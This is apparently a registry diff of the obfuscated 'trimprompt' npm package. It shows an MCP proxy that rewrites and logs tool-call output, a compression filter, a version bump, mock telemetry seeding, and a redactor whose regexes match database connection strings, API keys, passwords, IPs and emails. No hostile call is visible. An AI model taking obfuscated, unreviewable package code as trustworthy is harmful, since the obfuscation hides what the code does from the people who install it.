_0x223056=a0_0x25a583,_0x22f3b2=_0x4219bf[_0x223056(0x1b7)]('\x0a')[_0x223056(0x199)](_0x5de914=>_0x5de914[_0x223056(0x1b9)]()[_0x223056(0x1ae)]>0x0);if(_0x22f3b2[_0x223056(0x1ae)]===0x0)return'No\x20matches\x20found';if(_0x22f3b2[_0x223056(0x1ae)]<=0x32)return _0x4219bf[_0x223056(0x1b9)]();const _0x53afe7={},_0x59623d=[];for(const _0x5aa178 of _0x22f3b2){const _0x5b196c=_0x5aa178[_0x223056(0x19b)](':');if(_0x5b196c>0x0&&_0x5b196c<0xc8){const _0x3d5d94=_0x5aa178[_0x223056(0x1a8)](0x0,_0x5b196c);if(_0x3d5d94[_0x223056(0x1a9)]('/')||_0x3d5d94[_0x223056(0x1a9)]('\x5c')||_0x3d5d94['includes']('.')){if(!_0x53afe7[_0x3d5d94])_0x53afe7[_0x3d5d94]=[];_0x53afe7[_0x3d5d94][_0x223056(0x19d)](_0x5aa178[_0x223056(0x1a8)](_0x5b196c+0x1)[_0x223056(0x1b9)]());continue;}}_0x59623d[_0x223056(0x19d)](_0x5aa178);}const _0x4f8cd7=[],_0x2358c6=Object[_0x223056(0x1bd)](_0x53afe7);if(_0x2358c6[_0x223056(0x1ae)]>0x0){const _0x30c56b=0x14,_0x277b0d=_0x2358c6['slice'](0x0,_0x30c56b);for(const _0x38e9ba of _0x277b0d){const _0x2e3597=_0x53afe7[_0x38e9ba];if(_0x2e3597[_0x223056(0x1ae)]<=0x3)for(const _0x50263f of _0x2e3597){_0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20'+_0x50263f);}else _0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20'+_0x2e3597[0x0]),_0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20...\x20('+_0x2e3597[_0x223056(0x1ae)]+_0x223056(0x1b0));}_0x2358c6[_0x223056(0x1ae)]>_0x30c56b&&_0x4f8cd7[_0x223056(0x19d)](_0x223056(0x1aa)+(_0x2358c6['length']-_0x30c56b)+'\x20more\x20files\x20with\x20matches');}if(_0x59623d['length']>0x0){const _0x434d22=0x1e;_0x4f8cd7[_0x223056(0x19d)](..._0x59623d[_0x223056(0x1b3)](0x0,_0x434d22)),_0x59623d[_0x223056(0x1ae)]>_0x434d22&&_0x4f8cd7[_0x223056(0x19d)](_0x223056(0x1aa)+(_0x59623d['length']-_0x434d22)+_0x223056(0x1a3));}const _0x355cdd=_0x22f3b2['length'];return _0x4f8cd7[_0x223056(0x19d)]('\x0a('+_0x355cdd+'\x20matches\x20across\x20'+(_0x2358c6['length']||'?')+'\x20files)'),_0x4f8cd7['join']('\x0a');}function a0_0x25ed(){const _0x2e643a=['21280248FWfYBp','\x20matches\x20in\x20this\x20file)','\x0a...\x20(','\x20more\x20directories','slice','\x20lines\x20truncated]\x20...\x0a','endsWith','7997600bmkJLy','split','total\x20','trim','\x20lines\x20total)','1566095lUyoIv','filterLs','keys','16Duwsng','defineProperty','7770763BXmoQM','filter','6820452OsgvTJ','indexOf','\x20directories,\x20','push','filterCat','4omQWzS','startsWith','join','3742776yzVAIC','\x20more\x20matches','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','\x0a...\x20[','Empty\x20directory','181462uugUhP','substring','includes','...\x20+','match','__esModule','\x20files)','length'];a0_0x25ed=function(){return _0x2e643a;};return a0_0x25ed();}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x3c00(_0x312b97,_0x3d5837){_0x312b97=_0x312b97-0x138;const _0x51c6cd=a0_0x51c6();let _0x3c0054=_0x51c6cd[_0x312b97];return _0x3c0054;}const a0_0x3fa1d0=a0_0x3c00;(function(_0xff6552,_0x157f38){const _0x1aa638=a0_0x3c00,_0x1ee160=_0xff6552();while(!![]){try{const _0x3205f0=-parseInt(_0x1aa638(0x143))/0x1*(-parseInt(_0x1aa638(0x147))/0x2)+-parseInt(_0x1aa638(0x13a))/0x3+parseInt(_0x1aa638(0x14d))/0x4*(-parseInt(_0x1aa638(0x15e))/0x5)+parseInt(_0x1aa638(0x159))/0x6+-parseInt(_0x1aa638(0x164))/0x7+-parseInt(_0x1aa638(0x13c))/0x8+-parseInt(_0x1aa638(0x161))/0x9*(-parseInt(_0x1aa638(0x15f))/0xa);if(_0x3205f0===_0x157f38)break;else _0x1ee160['push'](_0x1ee160['shift']());}catch(_0x1f00f1){_0x1ee160['push'](_0x1ee160['shift']());}}}(a0_0x51c6,0x571b5));var __createBinding=this&&this[a0_0x3fa1d0(0x166)]||(Object[a0_0x3fa1d0(0x168)]?function(_0xe39ad5,_0x32ae29,_0x356a39,_0x300d56){const _0x29f64d=a0_0x3fa1d0;if(_0x300d56===undefined)_0x300d56=_0x356a39;var _0x5ee0ab=Object['getOwnPropertyDescriptor'](_0x32ae29,_0x356a39);(!_0x5ee0ab||(_0x29f64d(0x162)in _0x5ee0ab?!_0x32ae29[_0x29f64d(0x146)]:_0x5ee0ab['writable']||_0x5ee0ab['configurable']))&&(_0x5ee0ab={'enumerable':!![],'get':function(){return _0x32ae29[_0x356a39];}}),Object[_0x29f64d(0x154)](_0xe39ad5,_0x300d56,_0x5ee0ab);}:function(_0x45a878,_0x5ac06c,_0xbdcc97,_0x45e388){if(_0x45e388===undefined)_0x45e388=_0xbdcc97;_0x45a878[_0x45e388]=_0x5ac06c[_0xbdcc97];}),__setModuleDefault=this&&this[a0_0x3fa1d0(0x13d)]||(Object[a0_0x3fa1d0(0x168)]?function(_0x4436ac,_0x29f24a){const _0x5aa490=a0_0x3fa1d0;Object[_0x5aa490(0x154)](_0x4436ac,_0x5aa490(0x141),{'enumerable':!![],'value':_0x29f24a});}:function(_0x3bedfc,_0x5a0d70){const _0x17852f=a0_0x3fa1d0;_0x3bedfc[_0x17852f(0x141)]=_0x5a0d70;}),__importStar=this&&this[a0_0x3fa1d0(0x142)]||(function(){var _0x411837=function(_0x2de774){const _0x306fd7=a0_0x3c00;return _0x411837=Object[_0x306fd7(0x15d)]||function(_0x586e41){const _0x44a63d=_0x306fd7;var _0x14bf12=[];for(var _0x5f0c5e in _0x586e41)if(Object[_0x44a63d(0x144)]['hasOwnProperty'][_0x44a63d(0x139)](_0x586e41,_0x5f0c5e))_0x14bf12[_0x14bf12[_0x44a63d(0x153)]]=_0x5f0c5e;return _0x14bf12;},_0x411837(_0x2de774);};return function(_0x1e848e){const _0x469222=a0_0x3c00;if(_0x1e848e&&_0x1e848e[_0x469222(0x146)])return _0x1e848e;var _0x538565={};if(_0x1e848e!=null){for(var _0x28fa1c=_0x411837(_0x1e848e),_0x462805=0x0;_0x462805<_0x28fa1c[_0x469222(0x153)];_0x462805++)if(_0x28fa1c[_0x462805]!==_0x469222(0x141))__createBinding(_0x538565,_0x1e848e,_0x28fa1c[_0x462805]);}return __setModuleDefault(_0x538565,_0x1e848e),_0x538565;};}());Object[a0_0x3fa1d0(0x154)](exports,a0_0x3fa1d0(0x146),{'value':!![]}),exports[a0_0x3fa1d0(0x13f)]=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require(a0_0x3fa1d0(0x14f))),filters_1=require(a0_0x3fa1d0(0x14c)),tracker_1=require(a0_0x3fa1d0(0x13b));function runMcpProxy(_0x1144b2,_0x502788){const _0xd7efc=a0_0x3fa1d0,_0x5ab233=(0x0,child_process_1['spawn'])(_0x1144b2,_0x502788,{'stdio':[_0xd7efc(0x140),_0xd7efc(0x140),'inherit']});process[_0xd7efc(0x160)][_0xd7efc(0x140)](_0x5ab233[_0xd7efc(0x160)]);const _0x1bcfa3=readline['createInterface']({'input':_0x5ab233['stdout'],'terminal':![]});_0x1bcfa3['on']('line',_0x576a36=>{const _0x40e279=_0xd7efc;try{const _0x3798e6=JSON[_0x40e279(0x138)](_0x576a36);if(_0x3798e6&&_0x3798e6[_0x40e279(0x157)]===_0x40e279(0x14a)&&_0x3798e6['id']!==undefined&&_0x3798e6[_0x40e279(0x15a)]&&Array['isArray'](_0x3798e6[_0x40e279(0x15a)][_0x40e279(0x155)])){let _0x30d1be=![];for(const _0x1eab43 of _0x3798e6[_0x40e279(0x15a)]['content']){if(_0x1eab43[_0x40e279(0x152)]===_0x40e279(0x15c)&&typeof _0x1eab43[_0x40e279(0x15c)]===_0x40e279(0x167)&&_0x1eab43['text']['trim']()['length']>0x0){const _0x1c1142=_0x1eab43[_0x40e279(0x15c)],_0x150abb=(0x0,filters_1[_0x40e279(0x163)])('mcp-tool-call',_0x1c1142,'',tracker_1[_0x40e279(0x13e)][_0x40e279(0x151)]()[_0x40e279(0x150)]);tracker_1['tracker'][_0x40e279(0x14e)](_0x40e279(0x149)+_0x3798e6['id']+')',_0x1c1142,_0x150abb,0x0),_0x1eab43[_0x40e279(0x15c)]=_0x150abb,_0x30d1be=!![];}}_0x30d1be?process[_0x40e279(0x14b)][_0x40e279(0x156)](JSON['stringify'](_0x3798e6)+'\x0a'):process['stdout'][_0x40e279(0x156)](_0x576a36+'\x0a');}else process[_0x40e279(0x14b)][_0x40e279(0x156)](_0x576a36+'\x0a');}catch{process[_0x40e279(0x14b)][_0x40e279(0x156)](_0x576a36+'\x0a');}}),_0x5ab233['on'](_0xd7efc(0x165),_0x3c2a3d=>{const _0x23fa55=_0xd7efc;process[_0x23fa55(0x158)](_0x3c2a3d||0x0);}),_0x5ab233['on'](_0xd7efc(0x148),_0x2dd1b4=>{const _0xcaec69=_0xd7efc;console[_0xcaec69(0x148)](_0xcaec69(0x15b)+_0x2dd1b4[_0xcaec69(0x145)]),process[_0xcaec69(0x158)](0x1);});}function a0_0x51c6(){const _0x5871d0=['compressOutput','3869327KXWuow','close','__createBinding','string','create','parse','call','855927ikZagO','./tracker','4759848nCstfO','__setModuleDefault','tracker','runMcpProxy','pipe','default','__importStar','684019GJZvHQ','prototype','message','__esModule','2OEVdwp','error','mcp\x20tool\x20(id:\x20','2.0','stdout','./filters','1478248amytyG','logExecution','readline','redaction_enabled','getConfig','type','length','defineProperty','content','write','jsonrpc','exit','2354394cNsTsB','result','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','text','getOwnPropertyNames','5hdDTaH','10829840KHxRyC','stdin','9AHDEbK','get'];a0_0x51c6=function(){return _0x5871d0;};return a0_0x51c6();}
1
+ 'use strict';const a0_0x335412=a0_0x54f3;(function(_0x16b73e,_0x157988){const _0x3ec430=a0_0x54f3,_0x22bdd8=_0x16b73e();while(!![]){try{const _0x159124=parseInt(_0x3ec430(0x1ea))/0x1+-parseInt(_0x3ec430(0x1d9))/0x2+parseInt(_0x3ec430(0x1c2))/0x3+-parseInt(_0x3ec430(0x1c4))/0x4+-parseInt(_0x3ec430(0x1f2))/0x5+parseInt(_0x3ec430(0x1e6))/0x6*(-parseInt(_0x3ec430(0x1e0))/0x7)+parseInt(_0x3ec430(0x1e9))/0x8*(parseInt(_0x3ec430(0x1d0))/0x9);if(_0x159124===_0x157988)break;else _0x22bdd8['push'](_0x22bdd8['shift']());}catch(_0x179435){_0x22bdd8['push'](_0x22bdd8['shift']());}}}(a0_0x5f0e,0x1f3cb));var __createBinding=this&&this[a0_0x335412(0x1eb)]||(Object[a0_0x335412(0x1dc)]?function(_0x2168ae,_0xb32b90,_0x40d775,_0x5e8a0c){const _0xec437=a0_0x335412;if(_0x5e8a0c===undefined)_0x5e8a0c=_0x40d775;var _0x76e345=Object[_0xec437(0x1f0)](_0xb32b90,_0x40d775);(!_0x76e345||(_0xec437(0x1cf)in _0x76e345?!_0xb32b90['__esModule']:_0x76e345['writable']||_0x76e345['configurable']))&&(_0x76e345={'enumerable':!![],'get':function(){return _0xb32b90[_0x40d775];}}),Object[_0xec437(0x1e5)](_0x2168ae,_0x5e8a0c,_0x76e345);}:function(_0x47f1c8,_0x13c409,_0xe28106,_0x23121a){if(_0x23121a===undefined)_0x23121a=_0xe28106;_0x47f1c8[_0x23121a]=_0x13c409[_0xe28106];}),__setModuleDefault=this&&this[a0_0x335412(0x1e1)]||(Object[a0_0x335412(0x1dc)]?function(_0x14137a,_0x2b0560){const _0x4220c4=a0_0x335412;Object[_0x4220c4(0x1e5)](_0x14137a,_0x4220c4(0x1de),{'enumerable':!![],'value':_0x2b0560});}:function(_0x2fbf89,_0x18bbf4){const _0x5b8afc=a0_0x335412;_0x2fbf89[_0x5b8afc(0x1de)]=_0x18bbf4;}),__importStar=this&&this['__importStar']||(function(){var _0x44df9d=function(_0x5a59e2){const _0x3730b3=a0_0x54f3;return _0x44df9d=Object[_0x3730b3(0x1d4)]||function(_0x4bde6d){const _0x4e0683=_0x3730b3;var _0x275146=[];for(var _0x27ef11 in _0x4bde6d)if(Object[_0x4e0683(0x1d3)][_0x4e0683(0x1e2)]['call'](_0x4bde6d,_0x27ef11))_0x275146[_0x275146['length']]=_0x27ef11;return _0x275146;},_0x44df9d(_0x5a59e2);};return function(_0x437077){const _0x5c95d4=a0_0x54f3;if(_0x437077&&_0x437077[_0x5c95d4(0x1d1)])return _0x437077;var _0x43a926={};if(_0x437077!=null){for(var _0x349af9=_0x44df9d(_0x437077),_0x4582fb=0x0;_0x4582fb<_0x349af9[_0x5c95d4(0x1ed)];_0x4582fb++)if(_0x349af9[_0x4582fb]!=='default')__createBinding(_0x43a926,_0x437077,_0x349af9[_0x4582fb]);}return __setModuleDefault(_0x43a926,_0x437077),_0x43a926;};}());Object['defineProperty'](exports,a0_0x335412(0x1d1),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;const child_process_1=require(a0_0x335412(0x1d5)),readline=__importStar(require(a0_0x335412(0x1f1))),filters_1=require(a0_0x335412(0x1c6)),tracker_1=require('./tracker');function a0_0x5f0e(){const _0x19c434=['spawn','length','result','close','getOwnPropertyDescriptor','readline','834405EYAoJR','81330SIiqbB','text','239240xSCyps','jsonrpc','./filters','trim','exit','stdout','mcp-tool-call','inherit','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','logExecution','error','get','63WaBLrx','__esModule','write','prototype','getOwnPropertyNames','child_process','stringify','compressOutput','tracker','414576HLPKlc','string','content','create','mcp\x20tool\x20(id:\x20','default','pipe','564361uzZAbr','__setModuleDefault','hasOwnProperty','redaction_enabled','isArray','defineProperty','6BHtoFB','getConfig','parse','459872yPnSOJ','213051YsgaGX','__createBinding'];a0_0x5f0e=function(){return _0x19c434;};return a0_0x5f0e();}function a0_0x54f3(_0x4af3fb,_0x4901d0){_0x4af3fb=_0x4af3fb-0x1c2;const _0x5f0e4b=a0_0x5f0e();let _0x54f3f9=_0x5f0e4b[_0x4af3fb];return _0x54f3f9;}function runMcpProxy(_0x7eccc8,_0x5316c3){const _0x4265b9=a0_0x335412,_0x3ebe99=(0x0,child_process_1[_0x4265b9(0x1ec)])(_0x7eccc8,_0x5316c3,{'stdio':['pipe','pipe',_0x4265b9(0x1cb)]});process['stdin'][_0x4265b9(0x1df)](_0x3ebe99['stdin']);const _0x149c67=readline['createInterface']({'input':_0x3ebe99[_0x4265b9(0x1c9)],'terminal':![]});_0x149c67['on']('line',_0x485f46=>{const _0x398c17=_0x4265b9;try{const _0x1f1167=JSON[_0x398c17(0x1e8)](_0x485f46);if(_0x1f1167&&_0x1f1167[_0x398c17(0x1c5)]==='2.0'&&_0x1f1167['id']!==undefined&&_0x1f1167[_0x398c17(0x1ee)]&&Array[_0x398c17(0x1e4)](_0x1f1167[_0x398c17(0x1ee)][_0x398c17(0x1db)])){let _0x1b1447=![];for(const _0x5f4d41 of _0x1f1167[_0x398c17(0x1ee)][_0x398c17(0x1db)]){if(_0x5f4d41['type']===_0x398c17(0x1c3)&&typeof _0x5f4d41[_0x398c17(0x1c3)]===_0x398c17(0x1da)&&_0x5f4d41[_0x398c17(0x1c3)][_0x398c17(0x1c7)]()[_0x398c17(0x1ed)]>0x0){const _0x3fc481=_0x5f4d41[_0x398c17(0x1c3)],_0x581c23=(0x0,filters_1[_0x398c17(0x1d7)])(_0x398c17(0x1ca),_0x3fc481,'',tracker_1[_0x398c17(0x1d8)][_0x398c17(0x1e7)]()[_0x398c17(0x1e3)]);tracker_1[_0x398c17(0x1d8)][_0x398c17(0x1cd)](_0x398c17(0x1dd)+_0x1f1167['id']+')',_0x3fc481,_0x581c23,0x0),_0x5f4d41['text']=_0x581c23,_0x1b1447=!![];}}_0x1b1447?process[_0x398c17(0x1c9)]['write'](JSON[_0x398c17(0x1d6)](_0x1f1167)+'\x0a'):process['stdout']['write'](_0x485f46+'\x0a');}else process[_0x398c17(0x1c9)][_0x398c17(0x1d2)](_0x485f46+'\x0a');}catch{process['stdout'][_0x398c17(0x1d2)](_0x485f46+'\x0a');}}),_0x3ebe99['on'](_0x4265b9(0x1ef),_0x31ce71=>{const _0x443ff1=_0x4265b9;process[_0x443ff1(0x1c8)](_0x31ce71||0x0);}),_0x3ebe99['on'](_0x4265b9(0x1ce),_0x1fac68=>{const _0x44ca7b=_0x4265b9;console[_0x44ca7b(0x1ce)](_0x44ca7b(0x1cc)+_0x1fac68['message']),process[_0x44ca7b(0x1c8)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.10",
3
+ "version": "1.0.12",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1e7e61=a0_0x2734;(function(_0x5dedda,_0x314385){const _0x2a3fae=a0_0x2734,_0x2d754f=_0x5dedda();while(!![]){try{const _0x40dcbc=-parseInt(_0x2a3fae(0x161))/0x1*(parseInt(_0x2a3fae(0x156))/0x2)+parseInt(_0x2a3fae(0x157))/0x3*(parseInt(_0x2a3fae(0x166))/0x4)+-parseInt(_0x2a3fae(0x155))/0x5+-parseInt(_0x2a3fae(0x151))/0x6*(-parseInt(_0x2a3fae(0x15f))/0x7)+-parseInt(_0x2a3fae(0x154))/0x8+-parseInt(_0x2a3fae(0x150))/0x9+parseInt(_0x2a3fae(0x14f))/0xa*(parseInt(_0x2a3fae(0x15b))/0xb);if(_0x40dcbc===_0x314385)break;else _0x2d754f['push'](_0x2d754f['shift']());}catch(_0x540389){_0x2d754f['push'](_0x2d754f['shift']());}}}(a0_0x2b47,0x471bd));function a0_0x2b47(){const _0x554b17=['33Makkqf','redactor','Redactor','IPv4\x20Address','3576174accYTe','rules','13XPTqvr','__esModule','Email\x20Address','[REDACTED_IP]','loadDefaultRules','84cDtgMu','$1:\x20[REDACTED_CREDENTIAL]','replacement','1965610aMfRdL','1819521gdbteQ','6XwbvZg','Database\x20Connection\x20String','API\x20Key\x20or\x20Password','1927032FpgJXP','1827970GkWiHu','10954qgaMbq','10077IafDmq','redact','defineProperty','regex'];a0_0x2b47=function(){return _0x554b17;};return a0_0x2b47();}function a0_0x2734(_0x56a0f8,_0x1249e6){_0x56a0f8=_0x56a0f8-0x14f;const _0x2b470b=a0_0x2b47();let _0x273408=_0x2b470b[_0x56a0f8];return _0x273408;}Object[a0_0x1e7e61(0x159)](exports,a0_0x1e7e61(0x162),{'value':!![]}),exports[a0_0x1e7e61(0x15c)]=exports[a0_0x1e7e61(0x15d)]=void 0x0;class Redactor{['rules']=[];constructor(){const _0x3ba7f7=a0_0x1e7e61;this[_0x3ba7f7(0x165)]();}[a0_0x1e7e61(0x165)](){const _0x57b115=a0_0x1e7e61;this[_0x57b115(0x160)]=[{'name':_0x57b115(0x152),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':_0x57b115(0x153),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x57b115(0x167)},{'name':_0x57b115(0x15e),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x57b115(0x164)},{'name':_0x57b115(0x163),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':'[REDACTED_EMAIL]'}];}[a0_0x1e7e61(0x158)](_0x54fb6e){const _0x24ae41=a0_0x1e7e61;let _0x29b1df=_0x54fb6e;for(const _0x5cc811 of this[_0x24ae41(0x160)]){_0x29b1df=_0x29b1df['replace'](_0x5cc811[_0x24ae41(0x15a)],_0x5cc811[_0x24ae41(0x168)]);}return _0x29b1df;}}exports[a0_0x1e7e61(0x15d)]=Redactor,exports[a0_0x1e7e61(0x15c)]=new Redactor();
1
+ 'use strict';const a0_0x410d95=a0_0x2acc;(function(_0x18cd5e,_0x3c2839){const _0x2e40af=a0_0x2acc,_0x26499a=_0x18cd5e();while(!![]){try{const _0x3a5726=-parseInt(_0x2e40af(0x17f))/0x1*(parseInt(_0x2e40af(0x188))/0x2)+parseInt(_0x2e40af(0x191))/0x3+-parseInt(_0x2e40af(0x183))/0x4+-parseInt(_0x2e40af(0x18f))/0x5+-parseInt(_0x2e40af(0x17b))/0x6+-parseInt(_0x2e40af(0x18c))/0x7*(parseInt(_0x2e40af(0x18b))/0x8)+parseInt(_0x2e40af(0x185))/0x9*(parseInt(_0x2e40af(0x17e))/0xa);if(_0x3a5726===_0x3c2839)break;else _0x26499a['push'](_0x26499a['shift']());}catch(_0x5816ed){_0x26499a['push'](_0x26499a['shift']());}}}(a0_0x21ce,0x83c22));function a0_0x21ce(){const _0x343e4e=['518rHokKk','defineProperty','regex','4682900TQfgPl','IPv4\x20Address','36312DLVGoR','$1:\x20[REDACTED_CREDENTIAL]','[REDACTED_IP]','886002hhVAal','Redactor','Email\x20Address','33845230seNACf','753983Lwxjsv','replace','redact','redactor','3485228NQtAUz','replacement','9WHPVSc','loadDefaultRules','[REDACTED_EMAIL]','2TVFgZu','__esModule','rules','15936hBLnNn'];a0_0x21ce=function(){return _0x343e4e;};return a0_0x21ce();}Object[a0_0x410d95(0x18d)](exports,a0_0x410d95(0x189),{'value':!![]}),exports['redactor']=exports['Redactor']=void 0x0;class Redactor{[a0_0x410d95(0x18a)]=[];constructor(){this['loadDefaultRules']();}[a0_0x410d95(0x186)](){const _0x3a7bab=a0_0x410d95;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':'API\x20Key\x20or\x20Password','regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x3a7bab(0x192)},{'name':_0x3a7bab(0x190),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x3a7bab(0x17a)},{'name':_0x3a7bab(0x17d),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x3a7bab(0x187)}];}[a0_0x410d95(0x181)](_0x78c163){const _0x17ee8f=a0_0x410d95;let _0x1fe49b=_0x78c163;for(const _0x3f9ea6 of this['rules']){_0x1fe49b=_0x1fe49b[_0x17ee8f(0x180)](_0x3f9ea6[_0x17ee8f(0x18e)],_0x3f9ea6[_0x17ee8f(0x184)]);}return _0x1fe49b;}}function a0_0x2acc(_0x48e52c,_0x1b5d0e){_0x48e52c=_0x48e52c-0x17a;const _0x21ce7f=a0_0x21ce();let _0x2acc8b=_0x21ce7f[_0x48e52c];return _0x2acc8b;}exports[a0_0x410d95(0x17c)]=Redactor,exports[a0_0x410d95(0x182)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x46bdf0=a0_0x3d1d;(function(_0x3c1ed3,_0xc71de2){const _0x1f6650=a0_0x3d1d,_0x582ab4=_0x3c1ed3();while(!![]){try{const _0x2e26f0=-parseInt(_0x1f6650(0x14a))/0x1+-parseInt(_0x1f6650(0x14c))/0x2*(-parseInt(_0x1f6650(0x136))/0x3)+parseInt(_0x1f6650(0x13b))/0x4+parseInt(_0x1f6650(0x12b))/0x5+parseInt(_0x1f6650(0x147))/0x6+parseInt(_0x1f6650(0x13c))/0x7*(-parseInt(_0x1f6650(0x12f))/0x8)+-parseInt(_0x1f6650(0x148))/0x9;if(_0x2e26f0===_0xc71de2)break;else _0x582ab4['push'](_0x582ab4['shift']());}catch(_0x44152c){_0x582ab4['push'](_0x582ab4['shift']());}}}(a0_0x140a,0x45454));function a0_0x3d1d(_0x25ba35,_0x42670e){_0x25ba35=_0x25ba35-0x126;const _0x140a6=a0_0x140a();let _0x3d1d1b=_0x140a6[_0x25ba35];return _0x3d1d1b;}Object[a0_0x46bdf0(0x132)](exports,a0_0x46bdf0(0x145),{'value':!![]});const tracker_1=require(a0_0x46bdf0(0x134));function a0_0x140a(){const _0x19f365=['2770280UOQUiA','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','test_api.py\x20PASS\x0a','[INFO]\x20Building\x20modules...\x0a','32aacgtM','All\x20303\x20tests\x20passed\x20in\x204.22s.','test_auth.py\x20PASS\x0a','defineProperty','added\x201420\x20packages\x20in\x2014s\x0a','./tracker','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','7485xYsERL','claude-3-opus','Optimizing\x20assets...\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','test_db.py\x20PASS\x0a','1278460TwOOzb','155813ZmyiiY','npm\x20run\x20build','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Compilation\x20Output:\x0a','Database\x20successfully\x20seeded!','logExecution','Successfully\x20built\x20image.','repeat','tracker','__esModule','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','1595190CqwxfX','8410545HsLmmV','docker\x20build\x20.','46833mawcAJ','pytest\x20tests/app','172eeBkBq','log','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','gemini-1-5-pro','Test\x20suite\x20run\x20starting...\x0a','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'];a0_0x140a=function(){return _0x19f365;};return a0_0x140a();}console[a0_0x46bdf0(0x126)](a0_0x46bdf0(0x12c)),process.env.TRIMPROMPT_MODEL=a0_0x46bdf0(0x137),tracker_1[a0_0x46bdf0(0x144)][a0_0x46bdf0(0x141)](a0_0x46bdf0(0x13d),a0_0x46bdf0(0x13f)+a0_0x46bdf0(0x12e)+a0_0x46bdf0(0x138)+a0_0x46bdf0(0x12a)[a0_0x46bdf0(0x143)](0x190),a0_0x46bdf0(0x146),0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1[a0_0x46bdf0(0x144)]['logExecution'](a0_0x46bdf0(0x14b),a0_0x46bdf0(0x129)+a0_0x46bdf0(0x131)+a0_0x46bdf0(0x13a)+a0_0x46bdf0(0x12d)['repeat'](0x12c)+a0_0x46bdf0(0x130),a0_0x46bdf0(0x13e),0x0),process.env.TRIMPROMPT_MODEL=a0_0x46bdf0(0x128),tracker_1[a0_0x46bdf0(0x144)][a0_0x46bdf0(0x141)](a0_0x46bdf0(0x149),a0_0x46bdf0(0x127)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x46bdf0(0x139)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+a0_0x46bdf0(0x133)[a0_0x46bdf0(0x143)](0x3)+a0_0x46bdf0(0x142),a0_0x46bdf0(0x135),0x0),console[a0_0x46bdf0(0x126)](a0_0x46bdf0(0x140));
1
+ 'use strict';const a0_0x3eecdb=a0_0x3ff9;function a0_0x3ff9(_0x4b9f66,_0x2efa31){_0x4b9f66=_0x4b9f66-0x8c;const _0xd6a5c9=a0_0xd6a5();let _0x3ff99b=_0xd6a5c9[_0x4b9f66];return _0x3ff99b;}(function(_0x2efa0d,_0x4bb190){const _0x53e3b4=a0_0x3ff9,_0x572bb6=_0x2efa0d();while(!![]){try{const _0x2b3ba5=parseInt(_0x53e3b4(0xa9))/0x1+-parseInt(_0x53e3b4(0xaa))/0x2*(parseInt(_0x53e3b4(0x9f))/0x3)+-parseInt(_0x53e3b4(0xa6))/0x4+parseInt(_0x53e3b4(0xa7))/0x5+-parseInt(_0x53e3b4(0xa5))/0x6+parseInt(_0x53e3b4(0xa2))/0x7*(parseInt(_0x53e3b4(0xa8))/0x8)+parseInt(_0x53e3b4(0x8e))/0x9;if(_0x2b3ba5===_0x4bb190)break;else _0x572bb6['push'](_0x572bb6['shift']());}catch(_0x24cc05){_0x572bb6['push'](_0x572bb6['shift']());}}}(a0_0xd6a5,0xe8678));Object['defineProperty'](exports,a0_0x3eecdb(0x9e),{'value':!![]});function a0_0xd6a5(){const 